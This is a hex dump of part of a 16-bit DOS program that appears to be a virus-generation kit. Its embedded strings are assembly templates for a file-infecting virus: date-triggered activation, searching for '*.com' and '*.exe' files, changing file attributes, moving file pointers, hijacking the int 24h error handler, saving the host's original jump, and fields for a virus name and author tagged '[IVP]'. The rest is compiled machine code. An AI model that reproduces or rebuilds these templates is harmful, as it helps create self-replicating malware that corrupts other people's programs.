|00003da0| 29 0e 57 e8 b6 cc 80 3e | 60 00 00 74 0d bf 9a 29 |).W....>|`..t...)|
|00003db0| 0e 57 bf 84 29 0e 57 e8 | a2 cc bf 92 0e 1e 57 9a |.W..).W.|......W.|
|00003dc0| dd 05 12 07 9a 91 02 12 | 07 80 3e 61 00 00 74 03 |........|..>a..t.|
|00003dd0| e9 35 01 bf ac 29 0e 57 | bf 4b 1d 0e 57 e8 a9 cd |.5...).W|.K..W...|
|00003de0| bf b7 29 0e 57 bf c8 29 | 0e 57 e8 6f cc 80 3e 60 |..).W..)|.W.o..>`|
|00003df0| 00 00 75 1a bf e1 29 0e | 57 bf 02 2a 0e 57 e8 5b |..u...).|W..*.W.[|
|00003e00| cc bf 18 2a 0e 57 bf 39 | 2a 0e 57 e8 4e cc 80 3e |...*.W.9|*.W.N..>|
|00003e10| 60 00 00 74 34 bf 46 2a | 0e 57 bf 4b 1d 0e 57 e8 |`..t4.F*|.W.K..W.|
|00003e20| 3a cc bf 51 2a 0e 57 bf | 02 2a 0e 57 e8 2d cc bf |:..Q*.W.|.*.W.-..|
|00003e30| 6e 2a 0e 57 bf 39 2a 0e | 57 e8 20 cc bf 8b 2a 0e |n*.W.9*.|W. ...*.|
|00003e40| 57 bf 4b 1d 0e 57 e8 13 | cc bf f4 1d 0e 57 bf 4b |W.K..W..|.....W.K|
|00003e50| 1d 0e 57 e8 06 cc bf 92 | 0e 1e 57 9a dd 05 12 07 |..W.....|..W.....|
|00003e60| 9a 91 02 12 07 bf 00 1e | 0e 57 bf 0f 1e 0e 57 e8 |........|.W....W.|
|00003e70| ea cb bf f4 1d 0e 57 bf | 4b 1d 0e 57 e8 dd cb bf |......W.|K..W....|
|00003e80| 92 0e 1e 57 9a dd 05 12 | 07 9a 91 02 12 07 bf 65 |...W....|.......e|
|00003e90| 27 0e 57 bf 4b 1d 0e 57 | e8 c1 cb 80 3e 60 00 00 |'.W.K..W|....>`..|
|00003ea0| 75 0d bf 96 2a 0e 57 bf | b7 2a 0e 57 e8 ad cb 80 |u...*.W.|.*.W....|
|00003eb0| 3e 60 00 00 74 1a bf 9b | 1f 0e 57 bf 4b 1d 0e 57 |>`..t...|..W.K..W|
|00003ec0| e8 99 cb bf ca 2a 0e 57 | bf b7 2a 0e 57 e8 8c cb |.....*.W|..*.W...|
|00003ed0| bf 89 27 0e 57 bf 4b 1d | 0e 57 e8 7f cb bf 92 0e |..'.W.K.|.W......|
|00003ee0| 1e 57 9a dd 05 12 07 9a | 91 02 12 07 bf e7 2a 0e |.W......|......*.|
|00003ef0| 57 bf 4b 1d 0e 57 e8 63 | cb bf 92 0e 1e 57 9a dd |W.K..W.c|.....W..|
|00003f00| 05 12 07 9a 91 02 12 07 | 89 ec 5d c3 09 41 63 74 |........|..]..Act|
|00003f10| 69 76 61 74 65 3a 00 0e | 6d 6f 76 20 20 20 20 20 |ivate:..|mov |
|00003f20| 61 68 2c 32 61 68 10 47 | 65 74 20 63 75 72 72 65 |ah,2ah.G|et curre|
|00003f30| 6e 74 20 64 61 74 65 0b | 69 6e 74 20 20 20 20 20 |nt date.|int |
|00003f40| 32 31 68 0b 63 6d 70 20 | 20 20 20 20 63 78 2c 12 |21h.cmp | cx,.|
|00003f50| 43 68 65 63 6b 20 63 75 | 72 72 65 6e 74 20 59 65 |Check cu|rrent Ye|
|00003f60| 61 72 15 6a 62 20 20 20 | 20 20 20 64 6f 6e 74 5f |ar.jb | dont_|
|00003f70| 61 63 74 69 76 61 74 65 | 15 6a 61 20 20 20 20 20 |activate|.ja |
|00003f80| 20 64 6f 6e 74 5f 61 63 | 74 69 76 61 74 65 15 6a | dont_ac|tivate.j|
|00003f90| 6e 65 20 20 20 20 20 64 | 6f 6e 74 5f 61 63 74 69 |ne d|ont_acti|
|00003fa0| 76 61 74 65 0b 63 6d 70 | 20 20 20 20 20 64 68 2c |vate.cmp| dh,|
|00003fb0| 13 43 68 65 63 6b 20 63 | 75 72 72 65 6e 74 20 4d |.Check c|urrent M|
|00003fc0| 6f 6e 74 68 0b 63 6d 70 | 20 20 20 20 20 64 6c 2c |onth.cmp| dl,|
|00003fd0| 11 43 68 65 63 6b 20 63 | 75 72 72 65 6e 74 20 44 |.Check c|urrent D|
|00003fe0| 61 79 0b 63 6d 70 20 20 | 20 20 20 61 6c 2c 19 43 |ay.cmp | al,.C|
|00003ff0| 68 65 63 6b 20 63 75 72 | 72 65 6e 74 20 44 61 79 |heck cur|rent Day|
|00004000| 20 6f 66 20 77 65 65 6b | 0e 6d 6f 76 20 20 20 20 | of week|.mov |
|00004010| 20 61 68 2c 32 63 68 10 | 47 65 74 20 63 75 72 72 | ah,2ch.|Get curr|
|00004020| 65 6e 74 20 74 69 6d 65 | 0b 63 6d 70 20 20 20 20 |ent time|.cmp |
|00004030| 20 63 68 2c 13 43 68 65 | 63 6b 20 63 75 72 72 65 | ch,.Che|ck curre|
|00004040| 6e 74 20 68 6f 75 72 20 | 0b 63 6d 70 20 20 20 20 |nt hour |.cmp |
|00004050| 20 63 6c 2c 15 43 68 65 | 63 6b 20 63 75 72 72 65 | cl,.Che|ck curre|
|00004060| 6e 74 20 6d 69 6e 75 74 | 65 20 15 43 68 65 63 6b |nt minut|e .Check|
|00004070| 20 63 75 72 72 65 6e 74 | 20 73 65 63 6f 6e 64 20 | current| second |
|00004080| 0c 6d 6f 76 20 20 20 20 | 20 61 68 2c 39 0e 44 69 |.mov | ah,9.Di|
|00004090| 73 70 6c 61 79 20 73 74 | 72 69 6e 67 19 6d 6f 76 |splay st|ring.mov|
|000040a0| 20 20 20 20 20 64 78 2c | 6f 66 66 73 65 74 20 6d | dx,|offset m|
|000040b0| 65 73 73 65 67 65 15 54 | 68 65 20 73 74 72 69 6e |essege.T|he strin|
|000040c0| 67 20 74 6f 20 64 69 73 | 70 6c 61 79 17 6c 65 61 |g to dis|play.lea|
|000040d0| 20 20 20 20 20 64 78 2c | 5b 62 70 2b 6d 65 73 73 | dx,|[bp+mess|
|000040e0| 65 67 65 5d 08 6d 6f 76 | 20 20 20 20 20 13 69 6e |ege].mov| .in|
|000040f0| 63 6c 75 64 65 20 2e 5c | 72 6f 75 74 69 6e 65 73 |clude .\|routines|
|00004100| 5c 0c 49 6e 63 6c 75 64 | 65 20 66 69 6c 65 0e 44 |\.Includ|e file.D|
|00004110| 6f 6e 74 5f 41 63 74 69 | 76 61 74 65 3a 03 72 65 |ont_Acti|vate:.re|
|00004120| 74 55 89 e5 b8 0c 01 9a | cd 02 12 07 81 ec 0c 01 |tU......|........|
|00004130| c6 46 fe 00 c6 46 fd 00 | 80 3e 69 00 4e 74 0b 80 |.F...F..|.>i.Nt..|
|00004140| 3e 69 00 6e 74 04 c6 46 | fe 01 80 3e 75 00 4e 74 |>i.nt..F|...>u.Nt|
|00004150| 0b 80 3e 75 00 6e 74 04 | c6 46 fe 01 80 3e 81 00 |..>u.nt.|.F...>..|
|00004160| 4e 74 0b 80 3e 81 00 6e | 74 04 c6 46 fe 01 80 3e |Nt..>..n|t..F...>|
|00004170| 8d 00 4e 74 0b 80 3e 8d | 00 6e 74 04 c6 46 fe 01 |..Nt..>.|.nt..F..|
|00004180| 80 3e 99 00 4e 74 0b 80 | 3e 99 00 6e 74 04 c6 46 |.>..Nt..|>..nt..F|
|00004190| fd 01 80 3e a5 00 4e 74 | 0b 80 3e a5 00 6e 74 04 |...>..Nt|..>..nt.|
|000041a0| c6 46 fd 01 80 3e b1 00 | 4e 74 0b 80 3e b1 00 6e |.F...>..|Nt..>..n|
|000041b0| 74 04 c6 46 fd 01 bf bc | 34 0e 57 bf c6 34 0e 57 |t..F....|4.W..4.W|
|000041c0| e8 c6 c9 80 7e fe 00 74 | 29 bf c7 34 0e 57 bf d6 |....~..t|)..4.W..|
|000041d0| 34 0e 57 e8 86 c8 bf e7 | 34 0e 57 bf c6 34 0e 57 |4.W.....|4.W..4.W|
|000041e0| e8 79 c8 bf 92 0e 1e 57 | 9a dd 05 12 07 9a 91 02 |.y.....W|........|
|000041f0| 12 07 80 3e 69 00 4e 75 | 03 e9 83 00 80 3e 69 00 |...>i.Nu|.....>i.|
|00004200| 6e 74 7c a0 68 00 30 e4 | 8b f8 8a 85 68 00 88 46 |nt|.h.0.|....h..F|
|00004210| ff 80 7e ff 2b 74 06 80 | 7e ff 2d 75 09 a0 68 00 |..~.+t..|~.-u..h.|
|00004220| 30 e4 48 a2 68 00 8d be | f8 fe 16 57 bf f3 34 0e |0.H.h...|...W..4.|
|00004230| 57 9a d3 0a 12 07 bf 68 | 00 1e 57 9a 52 0b 12 07 |W......h|..W.R...|
|00004240| bf ff 34 0e 57 e8 14 c8 | 80 7e ff 2b 75 0f bf 12 |..4.W...|.~.+u...|
|00004250| 35 0e 57 bf c6 34 0e 57 | e8 01 c8 eb 22 80 7e ff |5.W..4.W|....".~.|
|00004260| 2d 75 0f bf 28 35 0e 57 | bf c6 34 0e 57 e8 ec c7 |-u..(5.W|..4.W...|
|00004270| eb 0d bf 3e 35 0e 57 bf | c6 34 0e 57 e8 dd c7 80 |...>5.W.|.4.W....|
|00004280| 3e 75 00 4e 75 03 e9 83 | 00 80 3e 75 00 6e 74 7c |>u.Nu...|..>u.nt||
|00004290| a0 74 00 30 e4 8b f8 8a | 85 74 00 88 46 ff 80 7e |.t.0....|.t..F..~|
|000042a0| ff 2b 74 06 80 7e ff 2d | 75 09 a0 74 00 30 e4 48 |.+t..~.-|u..t.0.H|
|000042b0| a2 74 00 8d be f8 fe 16 | 57 bf 54 35 0e 57 9a d3 |.t......|W.T5.W..|
|000042c0| 0a 12 07 bf 74 00 1e 57 | 9a 52 0b 12 07 bf 60 35 |....t..W|.R....`5|
|000042d0| 0e 57 e8 87 c7 80 7e ff | 2b 75 0f bf 12 35 0e 57 |.W....~.|+u...5.W|
|000042e0| bf c6 34 0e 57 e8 74 c7 | eb 22 80 7e ff 2d 75 0f |..4.W.t.|.".~.-u.|
|000042f0| bf 28 35 0e 57 bf c6 34 | 0e 57 e8 5f c7 eb 0d bf |.(5.W..4|.W._....|
|00004300| 3e 35 0e 57 bf c6 34 0e | 57 e8 50 c7 80 3e 81 00 |>5.W..4.|W.P..>..|
|00004310| 4e 75 03 e9 83 00 80 3e | 81 00 6e 74 7c a0 80 00 |Nu.....>|..nt|...|
|00004320| 30 e4 8b f8 8a 85 80 00 | 88 46 ff 80 7e ff 2b 74 |0.......|.F..~.+t|
|00004330| 06 80 7e ff 2d 75 09 a0 | 80 00 30 e4 48 a2 80 00 |..~.-u..|..0.H...|
|00004340| 8d be f8 fe 16 57 bf 74 | 35 0e 57 9a d3 0a 12 07 |.....W.t|5.W.....|
|00004350| bf 80 00 1e 57 9a 52 0b | 12 07 bf 80 35 0e 57 e8 |....W.R.|....5.W.|
|00004360| fa c6 80 7e ff 2b 75 0f | bf 12 35 0e 57 bf c6 34 |...~.+u.|..5.W..4|
|00004370| 0e 57 e8 e7 c6 eb 22 80 | 7e ff 2d 75 0f bf 28 35 |.W....".|~.-u..(5|
|00004380| 0e 57 bf c6 34 0e 57 e8 | d2 c6 eb 0d bf 3e 35 0e |.W..4.W.|.....>5.|
|00004390| 57 bf c6 34 0e 57 e8 c3 | c6 80 3e 8d 00 4e 75 03 |W..4.W..|..>..Nu.|
|000043a0| e9 83 00 80 3e 8d 00 6e | 74 7c a0 8c 00 30 e4 8b |....>..n|t|...0..|
|000043b0| f8 8a 85 8c 00 88 46 ff | 80 7e ff 2b 74 06 80 7e |......F.|.~.+t..~|
|000043c0| ff 2d 75 09 a0 8c 00 30 | e4 48 a2 8c 00 8d be f8 |.-u....0|.H......|
|000043d0| fe 16 57 bf 92 35 0e 57 | 9a d3 0a 12 07 bf 8c 00 |..W..5.W|........|
|000043e0| 1e 57 9a 52 0b 12 07 bf | 9e 35 0e 57 e8 6d c6 80 |.W.R....|.5.W.m..|
|000043f0| 7e ff 2b 75 0f bf 12 35 | 0e 57 bf c6 34 0e 57 e8 |~.+u...5|.W..4.W.|
|00004400| 5a c6 eb 22 80 7e ff 2d | 75 0f bf 28 35 0e 57 bf |Z..".~.-|u..(5.W.|
|00004410| c6 34 0e 57 e8 45 c6 eb | 0d bf 3e 35 0e 57 bf c6 |.4.W.E..|..>5.W..|
|00004420| 34 0e 57 e8 36 c6 80 7e | fd 00 74 38 bf 92 0e 1e |4.W.6..~|..t8....|
|00004430| 57 9a dd 05 12 07 9a 91 | 02 12 07 bf b8 35 0e 57 |W.......|.....5.W|
|00004440| bf c7 35 0e 57 e8 14 c6 | bf e7 34 0e 57 bf c6 34 |..5.W...|..4.W..4|
|00004450| 0e 57 e8 07 c6 bf 92 0e | 1e 57 9a dd 05 12 07 9a |.W......|.W......|
|00004460| 91 02 12 07 80 3e 99 00 | 4e 75 03 e9 83 00 80 3e |.....>..|Nu.....>|
|00004470| 99 00 6e 74 7c a0 98 00 | 30 e4 8b f8 8a 85 98 00 |..nt|...|0.......|
|00004480| 88 46 ff 80 7e ff 2b 74 | 06 80 7e ff 2d 75 09 a0 |.F..~.+t|..~.-u..|
|00004490| 98 00 30 e4 48 a2 98 00 | 8d be f8 fe 16 57 bf d8 |..0.H...|.....W..|
|000044a0| 35 0e 57 9a d3 0a 12 07 | bf 98 00 1e 57 9a 52 0b |5.W.....|....W.R.|
|000044b0| 12 07 bf e4 35 0e 57 e8 | a2 c5 80 7e ff 2b 75 0f |....5.W.|...~.+u.|
|000044c0| bf 12 35 0e 57 bf c6 34 | 0e 57 e8 8f c5 eb 22 80 |..5.W..4|.W....".|
|000044d0| 7e ff 2d 75 0f bf 28 35 | 0e 57 bf c6 34 0e 57 e8 |~.-u..(5|.W..4.W.|
|000044e0| 7a c5 eb 0d bf 3e 35 0e | 57 bf c6 34 0e 57 e8 6b |z....>5.|W..4.W.k|
|000044f0| c5 80 3e a5 00 4e 75 03 | e9 83 00 80 3e a5 00 6e |..>..Nu.|....>..n|
|00004500| 74 7c a0 a4 00 30 e4 8b | f8 8a 85 a4 00 88 46 ff |t|...0..|......F.|
|00004510| 80 7e ff 2b 74 06 80 7e | ff 2d 75 09 a0 a4 00 30 |.~.+t..~|.-u....0|
|00004520| e4 48 a2 a4 00 8d be f8 | fe 16 57 bf f8 35 0e 57 |.H......|..W..5.W|
|00004530| 9a d3 0a 12 07 bf a4 00 | 1e 57 9a 52 0b 12 07 bf |........|.W.R....|
|00004540| 04 36 0e 57 e8 15 c5 80 | 7e ff 2b 75 0f bf 12 35 |.6.W....|~.+u...5|
|00004550| 0e 57 bf c6 34 0e 57 e8 | 02 c5 eb 22 80 7e ff 2d |.W..4.W.|...".~.-|
|00004560| 75 0f bf 28 35 0e 57 bf | c6 34 0e 57 e8 ed c4 eb |u..(5.W.|.4.W....|
|00004570| 0d bf 3e 35 0e 57 bf c6 | 34 0e 57 e8 de c4 80 3e |..>5.W..|4.W....>|
|00004580| b1 00 4e 75 03 e9 83 00 | 80 3e b1 00 6e 74 7c a0 |..Nu....|.>..nt|.|
|00004590| b0 00 30 e4 8b f8 8a 85 | b0 00 88 46 ff 80 7e ff |..0.....|...F..~.|
|000045a0| 2b 74 06 80 7e ff 2d 75 | 09 a0 b0 00 30 e4 48 a2 |+t..~.-u|....0.H.|
|000045b0| b0 00 8d be f8 fe 16 57 | bf 54 35 0e 57 9a d3 0a |.......W|.T5.W...|
|000045c0| 12 07 bf b0 00 1e 57 9a | 52 0b 12 07 bf 1a 36 0e |......W.|R.....6.|
|000045d0| 57 e8 88 c4 80 7e ff 2b | 75 0f bf 12 35 0e 57 bf |W....~.+|u...5.W.|
|000045e0| c6 34 0e 57 e8 75 c4 eb | 22 80 7e ff 2d 75 0f bf |.4.W.u..|".~.-u..|
|000045f0| 28 35 0e 57 bf c6 34 0e | 57 e8 60 c4 eb 0d bf 3e |(5.W..4.|W.`....>|
|00004600| 35 0e 57 bf c6 34 0e 57 | e8 51 c4 80 7e fe 00 75 |5.W..4.W|.Q..~..u|
|00004610| 06 80 7e fd 00 74 0f bf | 92 0e 1e 57 9a dd 05 12 |..~..t..|...W....|
|00004620| 07 9a 91 02 12 07 bf 30 | 36 0e 57 bf 3d 36 0e 57 |.......0|6.W.=6.W|
|00004630| e8 29 c4 80 3e 60 00 00 | 74 0d bf 4c 36 0e 57 bf |.)..>`..|t..L6.W.|
|00004640| 66 36 0e 57 e8 15 c4 80 | 3e 60 00 00 75 0d bf 7c |f6.W....|>`..u..||
|00004650| 36 0e 57 bf 66 36 0e 57 | e8 01 c4 bf e7 34 0e 57 |6.W.f6.W|.....4.W|
|00004660| bf c6 34 0e 57 e8 f4 c3 | bf 92 0e 1e 57 9a dd 05 |..4.W...|....W...|
|00004670| 12 07 9a 91 02 12 07 a1 | 84 02 89 46 f6 b8 01 00 |........|...F....|
|00004680| 3b 46 f6 7e 03 e9 b6 00 | 89 46 f8 eb 03 ff 46 f8 |;F.~....|.F....F.|
|00004690| 8b 3e 84 02 d1 e7 8b 85 | 84 02 89 46 f4 b8 01 00 |.>......|...F....|
|000046a0| 3b 46 f4 7f 45 89 46 fa | eb 03 ff 46 fa 8d be f4 |;F..E.F.|...F....|
|000046b0| fe 16 57 bf 94 36 0e 57 | 9a d3 0a 12 07 b8 0b 00 |..W..6.W|........|
|000046c0| f7 66 fa 8b c8 b8 4d 00 | f7 66 f8 8b f8 03 f9 81 |.f....M.|.f......|
|000046d0| c7 aa 00 1e 57 9a 52 0b | 12 07 bf c6 34 0e 57 e8 |....W.R.|....4.W.|
|000046e0| 7a c3 8b 46 fa 3b 46 f4 | 75 c0 b8 0e 00 f7 66 f8 |z..F.;F.|u.....f.|
|000046f0| 8b f8 80 bd af 00 30 74 | 2b 8d be f6 fe 16 57 bf |......0t|+.....W.|
|00004700| 9d 36 0e 57 9a d3 0a 12 | 07 b8 0e 00 f7 66 f8 8b |.6.W....|.....f..|
|00004710| f8 81 c7 ae 00 1e 57 9a | 52 0b 12 07 bf b1 36 0e |......W.|R.....6.|
|00004720| 57 e8 38 c3 bf 92 0e 1e | 57 9a dd 05 12 07 9a 91 |W.8.....|W.......|
|00004730| 02 12 07 8b 46 f8 3b 46 | f6 74 03 e9 4f ff 80 7e |....F.;F|.t..O..~|
|00004740| fe 00 75 06 80 7e fd 00 | 74 0d bf be 36 0e 57 bf |..u..~..|t...6.W.|
|00004750| c6 34 0e 57 e8 32 c4 bf | cd 36 0e 57 bf c6 34 0e |.4.W.2..|.6.W..4.|
|00004760| 57 e8 f8 c2 bf 92 0e 1e | 57 9a dd 05 12 07 9a 91 |W.......|W.......|
|00004770| 02 12 07 89 ec 5d c3 08 | 4d 6f 76 65 5f 46 70 3a |.....]..|Move_Fp:|
|00004780| 00 0e 6d 6f 76 20 20 20 | 20 20 61 68 2c 34 32 68 |..mov | ah,42h|
|00004790| 11 4d 6f 76 65 20 66 69 | 6c 65 20 70 6f 69 6e 74 |.Move fi|le point|
|000047a0| 65 72 0d 78 6f 72 20 20 | 20 20 20 63 78 2c 63 78 |er.xor | cx,cx|
|000047b0| 0f 41 6c 20 68 61 73 20 | 6c 6f 63 61 74 69 6f 6e |.Al has |location|
|000047c0| 0d 78 6f 72 20 20 20 20 | 20 64 78 2c 64 78 0b 43 |.xor | dx,dx.C|
|000047d0| 6c 65 61 72 20 74 68 65 | 73 65 0b 69 6e 74 20 20 |lear the|se.int |
|000047e0| 20 20 20 32 31 68 04 72 | 65 74 6e 08 53 65 74 5f | 21h.r|etn.Set_|
|000047f0| 44 54 41 3a 0e 6d 6f 76 | 20 20 20 20 20 61 68 2c |DTA:.mov| ah,|
|00004800| 31 61 68 15 4d 6f 76 65 | 20 74 68 65 20 44 54 41 |1ah.Move| the DTA|
|00004810| 20 6c 6f 63 61 74 69 6f | 6e 0f 44 58 20 68 61 73 | locatio|n.DX has|
|00004820| 20 6c 6f 63 61 74 69 6f | 6e 05 4f 70 65 6e 3a 0e | locatio|n.Open:.|
|00004830| 6d 6f 76 20 20 20 20 20 | 61 68 2c 33 64 68 09 6f |mov |ah,3dh.o|
|00004840| 70 65 6e 20 66 69 6c 65 | 11 6d 6f 76 20 20 20 20 |pen file|.mov |
|00004850| 20 64 78 2c 38 30 68 2b | 33 30 0f 4c 6f 63 20 6f | dx,80h+|30.Loc o|
|00004860| 66 20 66 69 6c 65 6e 61 | 6d 65 16 6c 65 61 20 20 |f filena|me.lea |
|00004870| 20 20 20 64 78 2c 5b 62 | 70 2b 44 54 41 2b 33 30 | dx,[b|p+DTA+30|
|00004880| 5d 0f 46 69 6c 65 6e 61 | 6d 65 20 69 6e 20 44 54 |].Filena|me in DT|
|00004890| 41 0d 78 63 68 67 20 20 | 20 20 61 78 2c 62 78 15 |A.xchg | ax,bx.|
|000048a0| 70 75 74 20 66 69 6c 65 | 20 68 61 6e 64 6c 65 20 |put file| handle |
|000048b0| 69 6e 20 62 78 03 72 65 | 74 0b 41 74 74 72 69 62 |in bx.re|t.Attrib|
|000048c0| 75 74 65 73 3a 10 6d 6f | 76 20 20 20 20 20 61 78 |utes:.mo|v ax|
|000048d0| 2c 34 33 30 31 68 14 53 | 65 74 20 61 74 74 72 69 |,4301h.S|et attri|
|000048e0| 62 75 74 65 73 20 74 6f | 20 63 78 16 4c 6f 63 20 |butes to| cx.Loc |
|000048f0| 6f 66 20 66 69 6c 65 6e | 61 6d 65 20 69 6e 20 44 |of filen|ame in D|
|00004900| 54 41 0f 66 69 6c 65 6e | 61 6d 65 20 69 6e 20 44 |TA.filen|ame in D|
|00004910| 54 41 06 69 6e 74 32 34 | 3a 0b 4e 65 77 20 49 6e |TA.int24|:.New In|
|00004920| 74 20 32 34 68 0c 6d 6f | 76 20 20 20 20 20 61 6c |t 24h.mo|v al|
|00004930| 2c 33 09 46 61 69 6c 20 | 63 61 6c 6c 04 69 72 65 |,3.Fail |call.ire|
|00004940| 74 17 52 65 74 75 72 6e | 20 66 72 6f 6d 20 69 6e |t.Return| from in|
|00004950| 74 20 32 34 20 63 61 6c | 6c 55 89 e5 31 c0 9a cd |t 24 cal|lU..1...|
|00004960| 02 12 07 80 3e 61 00 00 | 74 03 e9 8d 01 80 3e 60 |....>a..|t.....>`|
|00004970| 00 00 74 03 e9 a0 00 bf | 27 3d 0e 57 bf 30 3d 0e |..t.....|'=.W.0=.|
|00004980| 57 e8 05 c2 bf 31 3d 0e | 57 bf 40 3d 0e 57 e8 cb |W....1=.|W.@=.W..|
|00004990| c0 bf 52 3d 0e 57 bf 60 | 3d 0e 57 e8 be c0 bf 70 |..R=.W.`|=.W....p|
|000049a0| 3d 0e 57 bf 7e 3d 0e 57 | e8 b1 c0 bf 8a 3d 0e 57 |=.W.~=.W|.....=.W|
|000049b0| bf 30 3d 0e 57 e8 a4 c0 | bf 96 3d 0e 57 bf 30 3d |.0=.W...|..=.W.0=|
|000049c0| 0e 57 e8 97 c0 bf 92 0e | 1e 57 9a dd 05 12 07 9a |.W......|.W......|
|000049d0| 91 02 12 07 bf 9b 3d 0e | 57 bf 30 3d 0e 57 e8 a8 |......=.|W.0=.W..|
|000049e0| c1 bf a4 3d 0e 57 bf b3 | 3d 0e 57 e8 6e c0 bf 8a |...=.W..|=.W.n...|
|000049f0| 3d 0e 57 bf c9 3d 0e 57 | e8 61 c0 bf 96 3d 0e 57 |=.W..=.W|.a...=.W|
|00004a00| bf 30 3d 0e 57 e8 54 c0 | bf 92 0e 1e 57 9a dd 05 |.0=.W.T.|....W...|
|00004a10| 12 07 9a 91 02 12 07 bf | d9 3d 0e 57 bf 30 3d 0e |........|.=.W.0=.|
|00004a20| 57 e8 65 c1 bf df 3d 0e | 57 bf ee 3d 0e 57 e8 2b |W.e...=.|W..=.W.+|
|00004a30| c0 80 3e 60 00 00 74 0d | bf f8 3d 0e 57 bf 0a 3e |..>`..t.|..=.W..>|
|00004a40| 0e 57 e8 17 c0 80 3e 60 | 00 00 75 0d bf 1a 3e 0e |.W....>`|..u...>.|
|00004a50| 57 bf 31 3e 0e 57 e8 03 | c0 bf 8a 3d 0e 57 bf 30 |W.1>.W..|...=.W.0|
|00004a60| 3d 0e 57 e8 f6 bf bf 41 | 3e 0e 57 bf 4f 3e 0e 57 |=.W....A|>.W.O>.W|
|00004a70| e8 e9 bf bf 65 3e 0e 57 | bf 30 3d 0e 57 e8 dc bf |....e>.W|.0=.W...|
|00004a80| bf 92 0e 1e 57 9a dd 05 | 12 07 9a 91 02 12 07 bf |....W...|........|
|00004a90| 69 3e 0e 57 bf 30 3d 0e | 57 e8 ed c0 bf 75 3e 0e |i>.W.0=.|W....u>.|
|00004aa0| 57 bf 86 3e 0e 57 e8 b3 | bf 80 3e 60 00 00 74 0d |W..>.W..|..>`..t.|
|00004ab0| bf f8 3d 0e 57 bf 9b 3e | 0e 57 e8 9f bf 80 3e 60 |..=.W..>|.W....>`|
|00004ac0| 00 00 75 0d bf 1a 3e 0e | 57 bf b2 3e 0e 57 e8 8b |..u...>.|W..>.W..|
|00004ad0| bf bf 8a 3d 0e 57 bf 30 | 3d 0e 57 e8 7e bf bf 65 |...=.W.0|=.W.~..e|
|00004ae0| 3e 0e 57 bf 30 3d 0e 57 | e8 71 bf bf 92 0e 1e 57 |>.W.0=.W|.q.....W|
|00004af0| 9a dd 05 12 07 9a 91 02 | 12 07 80 3e 62 00 00 74 |........|...>b..t|
|00004b00| 36 bf c2 3e 0e 57 bf c9 | 3e 0e 57 e8 7b c0 bf d5 |6..>.W..|>.W.{...|
|00004b10| 3e 0e 57 bf e2 3e 0e 57 | e8 41 bf bf ec 3e 0e 57 |>.W..>.W|.A...>.W|
|00004b20| bf f1 3e 0e 57 e8 34 bf | bf 92 0e 1e 57 9a dd 05 |..>.W.4.|....W...|
|00004b30| 12 07 9a 91 02 12 07 5d | c3 0e 56 69 72 75 73 6e |.......]|..Virusn|
|00004b40| 61 6d 65 20 64 62 20 27 | 01 27 11 4e 61 6d 65 20 |ame db '|.'.Name |
|00004b50| 4f 66 20 54 68 65 20 56 | 69 72 75 73 0e 41 75 74 |Of The V|irus.Aut|
|00004b60| 68 6f 72 20 20 20 20 64 | 62 20 27 14 41 75 74 68 |hor d|b '.Auth|
|00004b70| 6f 72 20 4f 66 20 54 68 | 69 73 20 56 69 72 75 73 |or Of Th|is Virus|
|00004b80| 08 6d 65 73 73 65 67 65 | 3a 00 0e 20 20 20 20 20 |.messege|:.. |
|00004b90| 20 20 20 20 20 64 62 20 | 27 07 27 2c 31 30 2c 31 | db |'.',10,1|
|00004ba0| 33 1e 4d 61 64 65 5f 77 | 69 74 68 20 64 62 20 27 |3.Made_w|ith db '|
|00004bb0| 5b 49 56 50 5d 27 2c 31 | 30 2c 31 33 2c 27 24 27 |[IVP]',1|0,13,'$'|
|00004bc0| 19 50 6c 65 61 73 65 20 | 64 6f 20 6e 6f 74 20 72 |.Please |do not r|
|00004bd0| 65 6d 6f 76 65 20 74 68 | 69 73 1b 63 6f 6d 66 69 |emove th|is.comfi|
|00004be0| 6c 65 73 70 65 63 20 20 | 64 62 20 20 27 2a 2e 63 |lespec |db '*.c|
|00004bf0| 6f 6d 27 2c 30 20 1e 48 | 6f 6c 64 73 20 74 79 70 |om',0 .H|olds typ|
|00004c00| 65 20 6f 66 20 66 69 6c | 65 20 74 6f 20 6c 6f 6f |e of fil|e to loo|
|00004c10| 6b 20 66 6f 72 1b 65 78 | 65 66 69 6c 65 73 70 65 |k for.ex|efilespe|
|00004c20| 63 20 20 64 62 20 20 27 | 2a 2e 65 78 65 27 2c 30 |c db '|*.exe',0|
|00004c30| 20 16 64 69 72 65 63 74 | 6f 72 79 20 20 20 20 64 | .direct|ory d|
|00004c40| 62 20 27 2e 2e 27 2c 30 | 16 44 69 72 65 63 74 6f |b '..',0|.Directo|
|00004c50| 72 79 20 74 6f 20 63 68 | 61 6e 67 65 20 74 6f 20 |ry to ch|ange to |
|00004c60| 6f 6c 64 6a 75 6d 70 20 | 20 20 20 20 20 64 62 20 |oldjump | db |
|00004c70| 20 30 63 64 68 2c 30 32 | 30 68 2c 30 2c 30 2c 30 | 0cdh,02|0h,0,0,0|
|00004c80| 23 4f 6c 64 20 6a 75 6d | 70 2e 20 20 49 73 20 69 |#Old jum|p. Is i|
|00004c90| 6e 74 20 32 30 68 20 66 | 6f 72 20 66 69 6c 65 20 |nt 20h f|or file |
|00004ca0| 71 75 69 74 55 89 e5 b8 | 04 01 9a cd 02 12 07 81 |quitU...|........|
|00004cb0| ec 04 01 8d be fe fe 16 | 57 bf e9 40 0e 57 9a d3 |........|W..@.W..|
|00004cc0| 0a 12 07 bf 90 0b 1e 57 | 9a 52 0b 12 07 bf f8 40 |.......W|.R.....@|
|00004cd0| 0e 57 9a 52 0b 12 07 bf | fa 40 0e 57 e8 aa be 8d |.W.R....|.@.W....|
|00004ce0| be fe fe 16 57 bf 0c 41 | 0e 57 9a d3 0a 12 07 bf |....W..A|.W......|
|00004cf0| 90 0a 1e 57 9a 52 0b 12 | 07 bf f8 40 0e 57 9a 52 |...W.R..|...@.W.R|
|00004d00| 0b 12 07 bf 1b 41 0e 57 | e8 7e be bf 30 41 0e 57 |.....A.W|.~..0A.W|
|00004d10| bf 39 41 0e 57 e8 71 be | a1 92 0f 89 46 fc b8 01 |.9A.W.q.|....F...|
|00004d20| 00 3b 46 fc 7f 45 89 46 | fe eb 03 ff 46 fe 8d be |.;F..E.F|....F...|
|00004d30| fc fe 16 57 bf 3a 41 0e | 57 9a d3 0a 12 07 b8 51 |...W.:A.|W......Q|
|00004d40| 00 f7 66 fe 8b f8 81 c7 | 43 0f 1e 57 9a 52 0b 12 |..f.....|C..W.R..|
|00004d50| 07 bf 49 41 0e 57 9a 52 | 0b 12 07 bf 39 41 0e 57 |..IA.W.R|....9A.W|
